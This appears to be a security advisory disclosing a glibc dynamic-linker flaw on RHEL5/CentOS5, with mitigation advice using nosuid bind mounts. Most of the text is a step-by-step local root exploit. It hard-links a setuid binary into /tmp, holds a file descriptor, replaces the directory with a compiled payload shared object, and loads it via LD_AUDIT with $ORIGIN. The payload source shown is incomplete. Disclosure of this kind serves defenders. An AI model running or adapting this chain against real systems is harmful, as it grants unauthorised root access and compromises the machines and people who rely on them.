Perhaps surprisingly, this error is exploitable.
At least the following versions have been tested
2.5, RHEL5 / CentOS5
Other versions are probably affected, possibly via different vectors. I’m aware
several versions of ld.so in common use hit an assertion in dl_open_worker, I
do not know if it’s possible to avoid this.
It is possible to exploit this flaw to execute arbitrary code as root.
Please note, this is a low impact vulnerability that is only of interest to
security professionals and system administrators. End users do not need
to be concerned.
Exploitation would look like the following.
# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit
# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target
# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target
# This descriptor should now be accessible via /proc.
$ ls -l /proc/$$/fd/3
lr-x—— 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
# Remove the directory previously created
$ rm -rf /tmp/exploit/
# The /proc link should still exist, but now will be marked deleted.
$ ls -l /proc/$$/fd/3
lr-x—— 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target
# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to
dlopen(). $ cat > payload.c
void __attribute__((constructor)) init()
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx— 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
# Now force the link in /proc to load $ORIGIN via LD_AUDIT.
$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
It is a good idea to prevent users from creating files on filesystems mounted
without nosuid. The following interesting solution for administrators who
cannot modify their partitioning scheme was suggested to me by Rob Holland
You can use bind mounts to make directories like /tmp, /var/tmp, etc., nosuid,
# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp
Be aware of race conditions at boot via crond/atd/etc, and users with
references to existing directories (man lsof), but this may be an acceptable
workaround until a patch is ready for deployment.
(Of course you need to do this everywhere untrusted users can make links to
suid/sgid binaries. find(1) is your friend).
If someone wants to create an init script that would automate this at boot for
their distribution, I’m sure it would be appreciated by other administrators.
Major distributions should be releasing updated glibc packages shortly.